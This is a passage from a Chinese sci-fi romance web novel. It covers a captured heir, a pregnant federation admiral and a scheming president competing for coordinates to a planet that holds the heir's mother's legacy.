这变化也实在太魔幻了。 她一个人在休息舱默默消化着这一切,许久都无法从震惊中回过神来。 直觉告诉她,刚才的乌澜绝不像是真情流露,她到底想干什么? 宋青佩默默思索着,不由想到了自己的猜测,那个给她发消息的神秘人,说话的语气真的像极了乌澜,她内心不由开始犹豫,是她吗? 待会要不要直接跟乌澜摊牌? 可要是猜错了,会不会打草惊蛇,反而将自己置于危险之中。 时间很快在纠结中度过,宋青佩始终无法下定决心,不由叹气连连,直到身后响起了熟悉的戏谑声音: “怎么了?愁成这样。” “你”宋青佩欲言又止。 看着她一脸纠结的模样,乌澜不由笑道:“好了,战南笙睡了,我们可以好好谈谈了,你有什么想问的就问吧。” 宋青佩犹豫了一会,试探道:“你和战南笙是怎么回事?” “这事说来话长。”乌澜揉了揉太阳穴,眼中闪过复杂的情绪。 见她不愿多说,宋青佩也没再追问,她对于两人关系的改变虽然好奇,但是更好奇那个神秘人是不是乌澜,可一时又不敢贸然开口。 直到乌澜凝视着她,视线在她的脸上逡巡,许久,由衷道:“青佩,你看起来比我想象中要好许多,看来明毓把你保护得很好。” 听到明毓的名字,宋青佩的心脏猛地一缩。 三个月了,她无时无刻不在想那个为她付出一切的女人。 “你知道明毓的情况吗?她怎么样了?”她急切地问。 “你放心,明毓毕竟是联邦上将,战笠不敢随便动她。”乌澜顿了顿,又说:“不过她抓了陈铎,这事恐怕不太好解决” 宋青佩猛地抬头:“陈铎?她为什么——” “为了帮我。”乌澜叹了口气,解释道:“陈铎奉战笠之命要暗杀我,是明毓帮我逃出来的,为了争取时间,她不得不扣押了陈铎。” 听到她这么说,宋青佩心中的答案呼之欲出,忍不住道:“乌澜给我发消息的人是你对不对?” 乌澜没有再隐瞒,点了点头。 宋青佩震惊道:“为什么?” “因为你是容总统唯一的女儿,因为小时候,我还抱过你,教你喊过姐姐。” “青佩,你还能想起我吗?” 说着说着,乌澜难得有些失态,甚至带了些激动的哑音。 宋青佩满脸震惊的看着她,却想不起任何相关的记忆,机械的摇了摇头,诧然道:“你是?” 乌澜掩住失望,笑道:“不记得也正常,毕竟,那时候你才一岁多。” 在宋青佩满是疑惑地神色中,乌澜娓娓道来,再次解释了自己的身份。这些年来她卧底在战笠身边,一是为了打探宋青佩的消息,一是为了搜集证据,蛰伏力量为容总统翻案。 “好在天不负我,现在终于让我找到你了。” 宋青佩听完,无比震惊,久久缓不过神来。 好在,她原本就隐隐猜到了神秘人是乌澜,对乌澜本能的信任,两人很快就消弥了其中的突兀感,更多的是可以互相依靠的满足。 宋青佩甚至忍不住松了口气:“乌澜,有你帮我真是太好了。” 乌澜笑了笑:“好了,叙旧到此为止。” 她突然正色,拿出四份星际航线图道:“青佩,慕容暇是不是将解码器告诉了你?” 宋青佩忙道:“对,慕容阿姨告诉了我解码器。” 说着,她掏出了一块晶体芯片,当芯片和四份星际航线靠近时,异变突生。 解码器突然发出刺眼的蓝光,晶体芯片则开始高频振动,宋青佩惊讶地看着两件物品自动吸附在一起,在空中投射出一幅全息星图。 “需要生物认证。”乌澜皱眉,“青佩,你试试。” 宋青佩不假思索地将手掌按在投影上。 下一刻,投影立即识别通过,星图开始快速重组,无数光点连接成线,最终汇聚成一个陌生的星系坐标。 “蓝树星球坐标!”两人异口同声。 过了好一会,乌澜先反应过来,激动道:“太好了,只要找到蓝树星球的星系坐标,就可以拿到你母亲留下的东西了。” 宋青佩本就是突然间获得了巨量信息,一时有些反应不过来,不由茫然道:原本慕容阿姨是让我去见秦勉,商谈合作对付战笠的事情,现在我们该怎么办?” 闻言,乌澜沉思片刻:“这样吧,我去见秦勉,你立刻联系明毓,让她保护你去蓝树星球,先拿到你母亲留下的东西,我们再商量下一步的行动。” 宋青佩犹豫片刻,当着乌澜的面联系了慕容暇,将这边的事情告诉了慕容暇,经过商量,同意了乌澜的提议。 挂断通讯器后,宋青佩不由担忧道:“战南笙” 乌澜明白她的意思,笑了笑,故做轻松道:“没事,我能解决,你先去找明毓吧。” 宋青佩只能叹了口气,两人刚刚重逢,却不得不匆匆分别。 两人又说了些话,宋青佩带着乌澜到了中控室,乘坐备用飞船离开。 等飞船进入稳定飞行状态,宋青佩才沉下心来,颤抖着手指放到了通讯器上,冒险拨通了那个日思夜想的电话,心脏瞬间剧烈的跳动起来。 明毓,你还好吗? 而通讯器震动的那一刻,明毓的指尖微微发抖。 她已经很久没有这样失态了。 自从宋青佩离开后,她强迫自己冷静、理智,像一台精密的机器一样运转,不敢有一丝松懈。可此刻,一个陌生的通讯号码,就让她所有的自制力溃不成军。 ——会是她想的人吗? 她深吸一口气,按下接通键。 全息投影亮起,宋青佩的脸出现在她面前。 明毓的呼吸停滞了一瞬。 三个月了。 她曾在深夜抚摸过全息影像里这张脸,曾在梦里听到她低哑的声音,甚至无数次幻想过重逢的场景。 可当日思夜想的人真的出现在眼前时,她却连一句话都说不出来。 喉咙像是被什么堵住了,酸涩得发疼。 “明毓。”宋青佩先开口了。 这一声呼唤,让明毓的心脏狠狠揪紧。 “你……还好吗?”她终于找回自己的声音,却问了一个最简单、也最克制的问题。 宋青佩的目光落在她疲惫的脸上,眼神柔软了下来,轻声道:“我没事。”她顿了顿,声音低哑,“……你呢?” 明毓几乎想笑。 她们分离了这么久,经历了那么多,可再见面时,却只能这样小心翼翼地试探,像是怕碰碎什么。 “我很好。”她轻声回答,像是压抑着什么情绪。 明毓忽然很想伸手触碰她,想确认她是真实的,不是自己又一次的幻觉。 但她不能。 她们之间隔着通讯信号,隔着战笠的追捕,隔着无数未解的谜团和危险。 “明毓,我要见你。”宋青佩顿了顿,“有很多事,我必须当面告诉你。” 明毓的指尖微微收紧。 理智告诉她,这很危险。 战笠的眼线无处不在,她的每一次行动都可能被监视。 可当她看着宋青佩那双她朝思暮想的、带着隐忍和思念的眼睛,她发现自己根本无法拒绝。她更想亲口告诉自己的爱人,她们的孩子还在。 “好。”她听见自己回答,“告诉我坐标,我去找你。” 宋青佩报出自己的坐标,明毓记下,指尖在桌下微微发抖。 “我会尽快赶到。”她低声承诺,却又忍不住问,“……你确定安全吗?” 宋青佩的眼神闪烁了一瞬。 明毓太了解她了,这个细微的表情变化,意味着她隐瞒了什么。 “暂时安全。”宋青佩最终回答,声音很轻,“但是,如果我没按时到……” “你会按时到的。”明毓打断她,语气不容置疑,“我会等你。” 通讯突然开始闪烁,信号变得不稳定。 “青佩?”明毓猛地站起身。 宋青佩的身影在投影中变得模糊,她的声音断断续续传来:“信号不好……我等你……” 通讯戛然而止。 明毓僵在原地,掌心一片冰凉。 她缓缓坐回椅子上,手指无意识地抚上腹部。 “……宝贝,我们去见妈妈了。”她低声说,声音轻得几乎听不见,“很快,很快就可以见到了。” 两小时后,一艘伪装成民用运输舰的小型星舰悄然离开中央星系。 明毓坐在驾驶舱副座,林中尉负责驾驶,时不时担忧地瞥她一眼。 “还有多久?”明毓第三次问出同样的问题。 “一小时四十二分钟。”林中尉回答,“上将,您应该休息一会儿。” 明毓摇头,目光死死盯着星图。 突然,她的通讯器再次震动。 明毓几乎是扑过去接通通讯:“青佩!” 然而,通讯那头传来的不是宋青佩的声音,而是一阵刺耳的电流杂音,随后是宋青佩急促的声音: “明毓,别来!有埋伏——” 通讯戛然而止。 明毓的脸色瞬间惨白。 “快点!”她猛地抓住林中尉的手臂,“立刻加速!” “可是——” “快!” 林中尉立刻执行命令,星舰在太空中划出一道急转的弧线。 然而,已经晚了。 等她们到达约定的坐标,等了两个小时,始终不见宋青佩。 “立刻调取通讯信号来源!”明毓的声音嘶哑得不像自己,“全频段扫描,我要知道最后发出信号的具体坐标!” 林中尉的手指在控制面板上飞速移动:“正在追踪,但信号被刻意干扰过,需要时间破译。” “没时间了!”明毓猛地站起身,腹部的抽痛让她眼前一黑,不得不扶住座椅。 “上将!您需要——” “我没事,”明毓打断她,声音像是从齿缝里挤出来的,“立刻联系第三舰队,用最高级别加密频道,让莫里斯立刻带人封锁边境跃迁点。” 这绝不是普通的伏击,能精准预判她的航线,能切断宋青佩的通讯 “战笠。”她咬出这个名字,每个音节都浸着寒意。 林中尉倒抽一口冷气:“您是说总统” “除了他没人能做到这种程度的部署。”明毓的指甲在控制台上刮出几道白痕,“立刻派人去查他最近调动的所有动向,特别是——” 一阵剧烈的胎动让她呼吸一滞,不得不弯腰按住腹部。 “您需要医生!”林中尉伸手要扶,却被明毓凌厉的眼神钉在原地。 “我没事。”明毓喘着气,冷汗已经浸透后背,“立刻去查,三个小时内我要*结果。” “可是您的身体” “快去!”明毓突然提高音量,随即被一阵眩晕击中。 她踉跄着后退两步,后背重重撞在舱壁上,下一秒,林中尉的惊呼变得遥远,像是隔着一层厚厚的玻璃。 明毓视线模糊,努力想抬手示意自己没事,却发现四肢像灌了铅一样沉重。 “青佩”她无声地动了动嘴唇,指尖徒劳地抓向虚空,黑暗吞噬视野的瞬间,脑海中只有一个想法—— 绝不能在青佩最需要她的时候倒下。 第84章 孩子还在 宋青佩的眼前一片刺目的白光。 当她再次睁开眼睛时,发现自己已经被束缚在一张金属椅上,手腕和脚踝都被特制的镣铐固定。空气中弥漫着淡淡的消毒水味,四面纯白的墙壁上没有任何标识,只有头顶一盏冷白的灯投下令人眩晕的光。 “醒了?” 一个低沉威严的声音从阴影处传来。 宋青佩眯起眼睛,看着那个高大的身影缓缓步入光线中——联邦总统战笠正用那双鹰隼般的眼睛审视着她。 爆炸产生的剧烈震动让她脑子昏沉,好一会儿才反应过来自己此刻的处境——她被总统战笠派人暗算了,此刻身陷囹圄。 不知道明毓有没有听到她最后说的话。 战笠抓她来要干什么? 她心里忧虑不安,但在敌人面前,决不能表现出慌乱和怯懦。 宋青佩调整了一下呼吸,直视着战笠道:“总统就可以随便抓人,这就是联邦的法律吗?” 战笠轻笑一声:“宋小姐,不必装了。” 闻言,宋青佩便知道自己身份暴露了。也对,不然战笠不会直接将她抓来。现在看来是对方狗急跳墙,连戏都懒得演了。 “你想干什么?”宋青佩冷冷道。 战笠没有立刻接话,而是在她对面坐下,手指轻轻敲击着金属桌面:“我们本不必如此相见。毕竟,我和你母亲曾是最好的朋友。” 宋青佩嗤笑:“所以你就用一场精心设计的谋杀回报她?” 房间里的温度似乎骤然降低。 战笠的眼神变得危险:“年轻人,指控需要证据。” “证据就在蓝树星球。”宋青佩直视他的眼睛,“你害怕的从来不是黑鸢花,而是我母亲留在那里的东西,对吗?” 战笠突然笑了,那笑容让宋青佩后背发凉:“你很聪明,但聪明人应该知道什么时候该妥协。” 对于她的这套说辞,宋青佩不置可否。 如今的处境,她大概已经猜出了一些端倪。这么久以来,战笠应该并非对她的身份一无所知,只是她的最终目的是蓝树星球的坐标,所以之前才故意放任。而现在她刚刚拿到坐标,他就立刻派人行动了。 这一切绝不可能是巧合。 宋青佩暗暗心悸于战笠的老谋深算,暗自打定主意不再多说。 见她不做声,战笠并不着急,而是走到投影仪前,意味深长地笑了笑,示意宋青佩看过来。 投影亮起,显示出一个熟悉的场景——颂颂正在幼儿园,怀里还抱着宋青佩之前送给她的玩偶,整个人看上去无精打采,似乎并不开心。 宋青佩的呼吸一滞。 “多可爱的孩子。”战笠的声音如同毒蛇般阴冷,“幼儿园的老师说,她一直很想念自己的妈妈。” 宋青佩的指尖猛地掐进掌心,强迫自己保持冷静。有明毓在,战笠绝不敢轻易对颂颂下手。 她深吸一口气,道:“你这是想用孩子威胁我吗?” “我只是提供选择。”战笠关闭投影,转身面对她,循循善诱:“宋青佩,只要你答应我的要求,我可以放了你小姨宋灼华,也可以当这一切都没发生过,保证你和孩子平安离开联邦。” 提到小姨,宋青佩眸色一动。 “条件呢?” “交出蓝树星球的坐标,解散黑鸢花,永远不再追查你母亲的事。”战笠俯身,阴影笼罩着宋青佩,“这是个公平交易。” 宋青佩突然笑了,那笑声让战笠皱起眉头:“公平?我母亲为联邦奉献一生,最后连全尸都没留下。您现在跟我说公平?” 战笠的表情变得阴沉:“感情用事只会害了你和你在乎的人。” “总统阁下似乎忘了,”宋青佩抬起头,眼中闪烁着奇异的光芒,“我也是个母亲。” 房间突然陷入诡异的寂静。 战笠的瞳孔微微收缩,他认出了那种眼神——二十多年前,容岑在最后一次内阁会议上,就是用这样的目光注视着他,仿佛在看垃圾。 “既然如此,”战笠直起身,整了整西装领口,“我们没什么好谈的了。” 厚重的金属门在他身后关闭,发出沉闷的撞击声。 知道宋青佩不会轻易屈服,战笠没有多做停留,便回了总统府。 他清楚,得到消息的明毓很快就会找上门来。 战笠刚回到总统府,秘书就告诉他,明上将在会客室等候。 “明上将,久等了。” 战笠的声音从身后传来,明毓转身,行了一个标准的军礼:“总统阁下。” “坐吧。”战笠抬手示意她入座。 明毓强压愤怒,直接切入主题:“相信您也清楚,我是为宋青佩而来。” 战笠手一顿,笑了笑:“明上将,你什么时候开始为叛国者发声了?” “叛国?”明毓冷笑一声,从公文包中取出一份文件,“这是二十五年前军情处截获的通讯记录,证明当年容总统的机甲爆炸并非意外。”她将文件推过桌面,“更有趣的是,所有调查都被时任安全局长的您亲自叫停。” 战笠的表情丝毫未变:“伪造证据是重罪,明上将。” “就像谋杀总统一样?”明毓直视他的眼睛,“选举在即,元帅秦勉已经获得38%的支持率。如果这些文件公开,您猜剩下的62%民众会如何选择?” 办公室里的空气仿佛凝固了。 战笠缓缓道:“你在威胁我?” “是又如何?”明毓冷声道。 战笠突然笑了:“明毓,你比我想象的还要感情用事。”他走到明毓身边,居高临下地注视着她,“为了一个弃你而去的女人,值得赌上明家的前途吗?” 明毓站起身,与战笠平视:“您错了。我站在这里,正是因为宋青佩从不会为任何人放弃原则。”她的眼中闪烁着骄傲的光芒,“如果她今天向您低头,反而不会让我如此倾心。” 对于她的这番发言,身为政治机器的战笠自然不会明白。 他试图从利益的角度出发,带着虚伪的笑容道:“明毓,宋青佩毕竟是你的妻子,你的担忧我可以理解。但她私自和黑鸢花联系,意图不明,调查局有权关押调查她。” 听到这番冠冕堂皇的话,明毓几乎要笑了。 事已至此,已经没有虚与委蛇的必要,她直接道:“总统,青佩的身份您已经知道,何必再惺惺作态。我提醒您,宋家和明家的联合声明已经拟好,如果宋青佩发生任何‘意外’,这份声明会立刻送达各大媒体。” 闻言,战笠的脸色彻底阴沉下来。 此时正值选举的关键时刻,宋家与明家的力量不容小觑,再加上对他总统之位虎视眈眈的秦勉,他无异于腹背受敌。 见他脸色阴晴不定却迟迟不肯给出准确答复,明毓进一步道:“你无权关押宋青佩,请立刻放了她。” 许久,战笠看向明毓,松口:“你可以见见她,但释放是不可能的。” 知道战笠不会轻易放人,为了先见到宋青佩,明毓选择了暂时妥协。 “好,我现在就要见她。” 战笠立刻叫人安排,假意劝道:“明毓,你真该好好劝劝宋青佩。只要她交出我想要的东西,这一切我都可以既往不咎,你们一家人也可以早日团聚。” 对此,明毓只是报以冷哼,转身离去。 当办公室门关上后,酒杯折射出他眼中狰狞的光芒。 __ 当明毓走进狭小的关押室时,宋青佩正闭着眼,看上去像是睡着了。单薄的囚服衬得她更加瘦削,手腕上还留着电磁镣铐的淤青。 “青佩。” 这个声音让宋青佩浑身一颤。 她缓缓转身,不敢相信自己的眼睛——明毓就站在门口,仿佛跨越了无数梦境终于来到她面前。 “你”宋青佩的声音哽在喉咙里。 她想问颂颂怎么样了,更想问明毓为什么要冒险来见她。但千言万语最终只化作一声颤抖的:“你不该来。” 明毓摇摇头,示意警卫退到门外。 当房间里只剩下她们两人时,她快步向前走了两步,又克制地停下。 这里到处都是监控,战笠的人可能正在观察她们的一举一动。但当她看到宋青佩消瘦的背影,那些在脑海中演练过无数次的克制与理智全都土崩瓦解。 “青佩,我好想你。”明毓的声音带着轻微的颤抖。 “我也是很想你。” 宋青佩深深地看向她,四目相接,唯有柔情。 她的脸色苍白得近乎透明,眼下是浓重的青黑,唯有那双眼睛依然明亮如星。当她的目光落在明毓隆起的腹部时,瞳孔猛地收缩,嘴唇不受控制地颤抖起来。 “孩子”她几乎发不出声音,只能做出这个口型。 那个本该被流掉的孩子,怎么会 这一刻,宋青佩几乎以为自己是在做梦,生怕下一秒美梦便会破碎。 直到她看见明毓的指尖轻轻抚上自己的腹部,像是某种无声的回应。“三个月了,”她轻声说,“很健康。” 一瞬间,宋青佩的眼泪夺眶而出。 她们的孩子还在,明毓将她留了下来。哪怕当初她们闹得那么难看,她依旧将孩子留了下来,甚至选择了放她离开。此刻宋青佩心里五味杂陈。 她想,明毓大抵真的爱极了她。 宋青佩艰难地抬起戴着电子镣铐的手,举至半空又硬生生停下,像是想触碰又犹豫。明毓看到她的动作,主动上前握住那双冰凉的手,将它们轻轻按在自己的腹部。 掌心下的触感让宋青佩浑身战栗。 她能感觉到生命的跃动,那个顽强的小家伙,似乎正在向素未谋面的母亲宣告自己的存在。宋青佩低下头,额头抵在明毓的肩上,在她的脖颈间蹭了蹭,似乎在以此代替紧紧的拥抱。 她真的太高兴了,从未有过的开心。 明毓的声音从头顶传来,带着温柔的调侃:“和颂颂一样闹腾,半夜总踢我。” 宋青佩忍俊不禁,抬起头时鼻尖还红着。 她贪婪地注视着明毓的脸,想把这三个月错过的每一分每一秒都补回来。 明毓比上次见面圆润了些,但眼角眉梢的疲惫却怎么也藏不住。 “对不起,”宋青佩用拇指轻轻擦过明毓眼下的阴影,“让你一个人” 明毓摇摇头,握住她的手腕。 这个简单的动作让两人都怔住了。宋青佩腕间的淤青在明毓白皙的手指衬托下显得更加刺眼。明毓的眼神瞬间变得锋利,指腹却极轻地摩挲着那些伤痕,像是怕弄疼她。 “不疼,”宋青佩试图抽回手,“只是看着吓人。” 明毓没有松手。 她的目光在宋青佩身上逡巡,从凌乱的发丝到囚服领口露出的锁骨,再到脚踝上同样的淤痕。 每一个细节都像刀子一样剐着她的心。 “明毓。”宋青佩突然压低声音,凑近她耳边,低声私语:“很多事情我现在没办法详细告诉你。记住,蓝树坐标在Nebula-7星系,第四行星的卫星。”她的额头抵着明毓的,“如果我出不去,你一定要——” 话未说完,明毓猛地吻住她,将这个未尽的嘱托堵在唇齿之间。 这个吻带着咸涩的泪水和压抑太久的思念,激烈得几乎称不上温柔。 宋青佩尝到了铁锈味,不知道是谁的嘴唇破了,但她不在乎,只想把这个触感烙进骨髓,以熬过无数个满含思念的深夜。 当她们终于分开时,明毓紧紧盯着宋青佩,眼神灼热得几乎要将人灼伤:“没有如果。”她的声音低哑却坚定,“我会带你回家,一起迎接我们的孩子出世。” 听到孩子,宋青佩眼眶微微发涩,坚定地点头:“好。” 两人还想再说什么,却被门外突然响起的脚步声打断。 明毓起身,在警卫推门而入的瞬间恢复了冷静自持的模样,只有泛红的耳根泄露了方才的亲密。 “时间到了,上将。”警卫站在门口提醒。 明毓最后深深看了宋青佩一眼,强忍着不舍离开。 宋青佩望着明毓的背影消失在走廊尽头,掌心似乎还残留着腹中孩子的温度。 第85章 乌澜一直在骗你 总统府内。 战笠额角青筋暴起,眼中燃烧着阴鸷的怒火。 “废物!一群废物!”他猛地掀翻办公桌,文件哗啦啦砸在地上,“连个人都找不到!” 他的心腹——调查局代局长陈铎站在门口,冷汗涔涔,不敢抬头。 “总统,明毓上将派了第三舰队接应,我们的人……” “我不想听借口!”战笠厉声打断,“三天内必须把南笙带回来!秦家已经放话,如果婚礼取消,他们就会公开支持秦勉竞选!” 陈铎咽了咽口水,硬着头皮道:“可是……战中将和乌澜已经离开联邦星域,我们的人很难追踪……” 战笠猛地转身,眼神如刀:“那就去找!不管用什么手段,哪怕把整个星际翻过来,也要把她给我带回来!” 他停顿了一下,声音压低,带着森冷的威胁:“如果她不肯回来……那就让乌澜永远消失。” 陈铎浑身一颤,立刻低头:“是!我这就去安排。”—— 远离联邦的星域,一艘小型飞船静静漂浮在陨石带边缘。 舱内光线昏暗,只有仪表盘的微光映照出交叠的身影。 “乌澜……你疯了?” 战南笙被抵在飞船操作台上,后背贴着冰冷的金属,身前却是乌澜滚烫的体温。 乌澜低笑一声,手指捏住她的下巴,强迫她抬头:“大小姐,现在才说这个,是不是太晚了?” 战南笙想反驳,可下一秒,乌澜的唇已经压了下来。 这个吻有些凶狠,带着不容拒绝的侵略性。 战南笙的呼吸瞬间被掠夺,唇齿间全是乌澜的气息,混合着淡淡的血腥味,让她头晕目眩。 “唔……”她挣扎了一下,却换来更强势的压制。 乌澜的手扣住她的后脑,另一只手顺着她的腰线滑下,指尖轻轻一挑,便解开了她的腰带。 “乌澜!”战南笙猛地抓住她的手腕,脸颊绯红,“我们现在在逃亡!你——” “所以呢?”乌澜打断她,俯身在她耳边低语,热气喷洒在敏感的耳廓,“大小姐,你逃婚的时候,可没这么瞻前顾后。” 战南笙一噎,红着眼狠狠地瞪了她一眼。还没想好怎么反驳,乌澜的唇已落在她的颈侧,牙齿轻轻一咬,惹得她浑身一颤。 “你……”她的声音软了下来,手指无意识地抓紧乌澜的衣领。 乌澜低笑,手指灵活地探入她的衣襟,掌心贴着她纤细的腰肢,缓缓上移。 “放松,大小姐。”她的嗓音沙哑,带着蛊惑,“现在没人能打扰我们。” 战南笙的呼吸越来越急促,理智在乌澜的攻势下节节败退。 她的腿开始发软,几乎站不住,只能紧紧攀附着乌澜。 “乌澜……”她低声呢喃,声音里带着自己都没察觉的依赖。 乌澜的动作一顿,眼神暗了下来。 下一秒,她直接托住战南笙的腿弯,将她整个人抱了起来,转身压在了操作台上。 战南笙惊呼一声,想骂人,很快就被呜咽声取代。 星光映着两人交叠的身影,满是旖旎。 一切结束后,战南笙瘫软在乌澜怀里,浑身脱力。 乌澜的手指轻轻划过她的长发,动作难得温柔。 战南笙缓了一会儿,突然抬头,狠狠咬住乌澜的肩膀。 “嘶——”乌澜吃痛,却没躲,反而低笑,“大小姐,你属狗的?” 战南笙松开牙,盯着她,眼神凶狠又脆弱:“乌澜,我警告你。” “嗯?” “我为了你放弃了一切。”她的声音微微发抖,“我只有你了,如果你敢背叛我……” 乌澜没等她说完,直接低头吻住了她。 这个吻比之前温柔许多,带着安抚的意味。 良久,乌澜松开她,指尖擦过她的眼角,轻声道:“累了吧?” 想到浑身酸软的不适,战南笙嗔怒地瞪了她一眼:“还不都怪你,一点分寸也没有。” 乌澜笑了笑,将她的身体往怀里拉了拉,柔声道:“那就在这睡吧,一会儿我抱你进去。” 战南笙哼了一声,但最终还是疲惫地闭上眼睛,很快在她怀里陷入沉睡。 乌澜静静地看着她,眼神复杂。 许久,她轻轻起身,将战南笙抱进休息室放下,转身走向舱门。 不能再拖下去了,她该去见秦勉了。 趁着战南笙睡着,乌澜驾驶小型飞船前往约定地点。 一位穿着考究的副官早已等候多时,见到乌澜到来,立刻上前敬礼:“乌局…乌小姐,元帅正在会客厅等您。” 乌澜点点头,跟着副官穿过全透明的廊桥。 会客厅的自动门无声滑开。 元帅秦勉背对着门口站在全景窗前,这位秦家掌舵人转过身时,乌澜注意到他眼中的阴沉和试探。 “乌局长。”秦勉的声音带着上位者特有的从容,“久仰大名。” 乌澜微微颔首,轻笑:“秦元帅,我可早就不是什么局长了。” 秦勉笑了笑,没继续这个话题,而是客气道:“坐吧,喝点什么?” “不必了。”乌澜挺直腰背,“我想您知道我的来意。” 秦勉慢条斯理道:“慕容暇派你来谈合作?”他突然笑了,“这么多年了,她居然还没死心?没想到还能说动你这样的人为她效力,真是让我惊讶!” 听出他话中的试探,乌澜镇定道:“秦元帅,战笠是什么样的人,相信您比我更清楚。她女儿今天能当众悔婚羞辱您秦家的女儿,明天她父亲战笠就敢做得更过分。战笠对您多有忌惮,您还不早做打算。” “我知道你们的目的。”秦勉的手指在杯沿停顿,“但黑鸢花凭什么让我相信你们能对抗战笠?” 乌澜顿了顿:“您想要什么证明?” “明毓。”秦勉突然道出这个名字,“联邦最年轻的上将,明家的掌权人,同时又跟林平海元帅和宋家关系密切。如果你能说动明毓支持我……”秦勉向前倾身,“我就相信黑鸢花的诚意。” 房间陷入沉默。 “我可以尝试劝说明上将。”乌澜最终回答,“但您也要表示足够的诚意。” 秦勉挑眉:“比如?” “释放宋灼华。” 秦勉摇头苦笑:“宋灼华被关押在军部特殊监狱,需要三位元帅联名才能释放。”他意味深长地看着乌澜,“不过如果你真能说服明毓,我倒是可以答应签字。” “成交。” “期待合作愉快!” 离开星港时,乌澜的太阳穴突突跳动。 谈判比她预想的更艰难,秦勉老谋深算,每一步都带着试探。好在结果尚可,只是不知道青佩那边进展如何。 乌澜犹豫片刻,试图用通讯器联系宋青佩,却始终无法接通。 这让她隐隐有些不安—— 另一边,醒来的战南笙发现乌澜不在,没来由地一阵心慌。 直到在机械管家那里看到乌澜留下的视频留言,得知她去附近勘察,才松了口气,慢悠悠地起身。 “大小姐,该吃饭了。”机械管家端着餐盘走过来,声音温和。 战南笙摇摇头:“再等等。” 就在这时,飞船的警报系统突然尖锐响起。 战南笙猛地转身,只见雷达上显示有三艘战舰正在快速接近。 “身份识别!”她厉声命令,同时迅速启动防御系统。 “识别完毕,非白名单舰船。”系统冰冷的回应让战南笙的心沉了下去。 三艘战舰已将她的飞船团团围住,通讯频道被强行接通。 “战中将。”一个熟悉的声音传来,“总统派我们来接您回家。” 战南笙瞳孔骤缩——这是父亲的心腹林晟的声音。 “滚!”她厉声喝道,“我不会跟你们回去的!” “恐怕由不得您。”林晟的声音依然恭敬,却带着不容拒绝的强硬,“总统有令,如果您拒绝配合” “怎样?”战南笙冷笑,“杀了我?” 通讯器那头沉默了几秒,随后传来一声叹息:“战中将,您真的了解乌澜吗?” 战南笙的手指一顿:“你什么意思?” “总统让我转告您,”林晟的声音突然压低,“乌澜根本不是普通人,她是前总统容岑当年收养的遗孤,这么多年来一直蛰伏在总统身边就是为了报仇。” 战南笙的血液仿佛瞬间凝固:“你胡说!” “二十多年前,容岑在蓝树星秘密进行实验,乌澜就注射过高纯净度的蓝树提取液。”林晟继续道,“所以她才会分化成稀有的Enigma,拥有远超常人的精神力” “闭嘴!”战南笙猛地拍下通讯切断键,胸口剧烈起伏。 但下一秒,通讯又被强行接通。 这次出现的不是林晟,而是战笠的全息影像。 “南笙。”战笠的声音比往常更加冰冷,“闹够了吗?” 战南笙咬紧牙关:“父亲,我不会回去的。” “为了一个狼心狗肺的骗子?”战笠冷笑,“她接近你,引诱你,都只是为了完成任务。你以为她真的爱你?” “不可能!”战南笙的声音发抖,“乌澜她” “她什么?”战笠打断她,“她接近你是为了获取战家的机密,是为了用你威胁我” “不”战南笙摇着头,拒绝相信。 战笠的眼神变得失望而冰冷:“我给了你机会,南笙。既然你执迷不悟,那就自己承担后果吧,你会后悔的。” 通讯突然中断,战南笙呆立在原地,浑身发冷。 就在这时,飞船的舱门突然被强行打开。 林晟带着一队武装人员冲了进来。 “战中将,得罪了。”他示意手下上前,“总统命令,带您回去。” 战南笙本能地后退,手摸向腰间的配枪:“别过来!” “给我三天时间,我会亲自证明乌澜到底是不是在骗我。” 第86章 我要杀了你 飞船的舱壁在星云折射下泛着光,战南笙坐在舷窗边,手指无意识地摩挲着已经冷掉的咖啡杯。 自从林晟离开后,她的思绪就像窗外漂浮的陨石碎片,找不到归处。 “在想什么?”乌澜的声音从身后传来,带着刚睡醒的沙哑。 战南笙的手指微微收紧,咖啡杯在掌心发烫。 “没什么,”她没回头,视线固执地固定在窗外的星空,“只是在看星星。” 乌澜走过来,身上还带着战南笙熟悉的沐浴露香气。她自然地伸手去碰战南笙的额头,却在即将接触的瞬间被躲开。 “你最近很紧张。”乌澜的手悬在半空,眉头皱起。 战南笙终于转过头,目光在乌澜脸上逡巡。“有吗?”她露出不达眼底的微笑,“可能是最近睡眠不好。” 乌澜审视着她,突然伸手扣住她的手腕。 战南笙条件反射地想挣脱,却被更用力地按住。她能感觉到乌澜的拇指正压在她的脉搏上,那种精准的位置不像偶然。 “你心跳很快。”乌澜眯起眼睛,“你在说谎。” “乌澜,你”战南笙的喉咙发紧,喷薄的怒气让她忍不住想要当场质问乌澜,可是话到嘴边,却终究只吐出一句:“没什么,我只是在想我父亲的事。” 乌澜的表情松动了一些,但手指依然没有放开。“别想那些了,我们现在很安全。”说着,她轻轻亲了亲战南笙发凉的指尖。 这个吻让战南笙浑身发冷。 这个骗子怎么能这么淡然地说出这些话?她猛地抽回手,假装整理头发来掩饰颤抖。 “我有点累了,去休息吧。”她站起身,动作太急差点碰翻咖啡杯。 乌澜若有所思地看着战南笙,表情变得异常复杂。 睡觉时,两人靠在一起,沉默再次蔓延。 直觉告诉乌澜,大小姐很不对劲。 她的手指在床边有节奏地轻轻敲击,那是她思考时的小习惯。战南笙盯着那修长的手指,想起它们曾如何温柔地抚过自己的肌肤。 “乌澜”她突然开口,却又停住了。 “嗯?”乌澜抬头,目光终于与她相遇。 战南笙张了张嘴,那句话在舌尖打转——“你爱我吗?” 但最终没能问出口。 “没什么。”她背对着乌澜躺下。 乌澜静静地看着她,眼神复杂。 许久,她伸手覆上战南笙的手。“南笙,”她轻声说,“是不是发生了什么事?你今天很不对劲。” 战南笙屏住呼吸,胸腔的愤怒再次发酵。 可这一刻,她却不敢将自己的怒火宣之于口。她怕这一切都是真的,她怕眼前的一切都变成泡影,更怕真相揭开,一无所有。 “不管发生什么事,我都会跟你在一起的。”乌澜的声音很轻,却像誓言般沉重。 战南笙的眼眶突然发热。 她想相信这句话,疯狂地想相信。 但她只是轻轻抽回手,站起身。“我累了,睡吧。” 乌澜眸色闪了闪,深深皱眉,却也没再说什么。 许久,战南笙呼吸均匀,似乎已经熟睡。 乌澜轻轻抬起战南笙搭在自己腰间的手臂,缓缓起身。 走廊的感应灯随着她的脚步一盏盏亮起,照出她紧绷的下颌线。 青佩失联,真的让她很心焦,她实在等不下去了。 乌澜停在通讯室外,手指悬在门锁上方犹豫了几秒,最终还是输入了密码。 “验证通过”的机械女声在寂静中格外刺耳。 通讯器启动的蓝光映在乌澜脸上,她快速输入了频率码。 